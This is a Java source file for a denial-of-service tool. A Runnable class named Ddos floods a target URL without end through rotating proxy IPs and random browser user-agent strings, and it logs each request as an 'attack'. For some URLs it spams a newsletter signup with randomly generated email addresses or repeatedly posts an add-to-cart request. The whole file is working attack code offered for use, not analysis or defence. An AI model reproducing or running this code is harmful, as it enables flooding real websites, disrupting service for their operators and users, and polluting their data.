package com.video.data.ddos;

import com.video.data.model.HttpModel;
import com.video.data.model.IpInfoModel;
import com.video.data.model.ProxyIp;
import com.video.data.utils.*;

import java.util.*;

public class Ddos implements Runnable {

    private String url;

    @Override
    public void run() {
        long loop = 1;
        while (true) {
            Map<String, String> header = new HashMap<>();
            header.put("user-agent", getHeader());
            System.out.println("线程" + Thread.currentThread().getName() + "第" + loop + "次攻击!");
            ProxyIp proxyIpModel = SpringUtil.getBean(ProxyIp.class);
            proxyIpModel.setTotalTimes(proxyIpModel.getTotalTimes() + 1);
            IpInfoModel ipInfo = DdosUtil.selectOneIp();
            if(ipInfo == null || "".equals(ipInfo.getIpInfo())) {
                System.out.println("暂无可用IP，休息十秒钟");
                try {
                    Thread.sleep(10000);
                } catch (InterruptedException ignored) {}
                continue;
            }
            int code = request(header, ipInfo.getIpInfo()).getCode();
            if(code == 200) {
                DdosUtil.ipSuccess(ipInfo);
                proxyIpModel.setRequestTimes(proxyIpModel.getRequestTimes() + 1);
            }else if(code >= 500) {
                DdosUtil.ipSuccess(ipInfo);
                proxyIpModel.setRequestErrorTimes(proxyIpModel.getRequestErrorTimes() + 1);
            }
            if(code == 0) {
                DdosUtil.ipError(ipInfo);
                proxyIpModel.setIpErrorNumber(proxyIpModel.getIpErrorNumber() + 1);
            }
            loop++;
        }
    }

    private HttpModel request(Map<String, String > header, String proxyIp) {
        if(this.url.contains("post")) {
            String url = "";
            Map<String, String> params = new HashMap<>();
            String email = Utils.generateRandomStr(10) + "@"
                    + Utils.generateRandomStr(5) + "."
                    + Utils.generateRandomStr(4);
            params.put("tm_newsletter_email", email);
            return HttpRequest.sendPostRequest(url, params, proxyIp);
        }else if(this.url.contains("cart")){
            String url = "";
            Map<String, String> params = new HashMap<>();
            params.put("product_id", "61041");
            return HttpRequest.sendPostRequest(url, params, proxyIp);
        }else{
            CustomRestTemplate customRestTemplate = new CustomRestTemplate();
            return customRestTemplate.get(url, header, proxyIp);
            //return HttpRequest.sendGetRequest(url, header, proxyIp);
        }
    }

    public String getHeader() {
        List<String> headers = Arrays.asList(
                "User-Agent:Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
                "User-Agent:Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
                "User-Agent:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;",
                "User-Agent:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
                "User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
                "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
                "User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
                "User-Agent:Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11",
                "User-Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11",
                "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
                "User-Agent:Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
                "User-Agent:Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
                "User-Agent:Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5",
                "User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
                "User-Agent: MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
                "User-Agent: Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10",
                "User-Agent: Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
                "User-Agent: Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+",
                "User-Agent: Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0",
                "User-Agent: Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124",
                "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)",
                "User-Agent: UCWEB7.0.2.37/28/999",
                "User-Agent: NOKIA5700/ UCWEB7.0.2.37/28/999",
                "User-Agent: Openwave/ UCWEB7.0.2.37/28/999",
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999"
        );
        int index = Integer.parseInt(String.valueOf(Math.round(Math.random() * (headers.size() - 1))));
        return headers.get(index);
    }

    public String getUrl() {
        return url;
    }

    public void setUrl(String url) {
        this.url = url;
    }
}
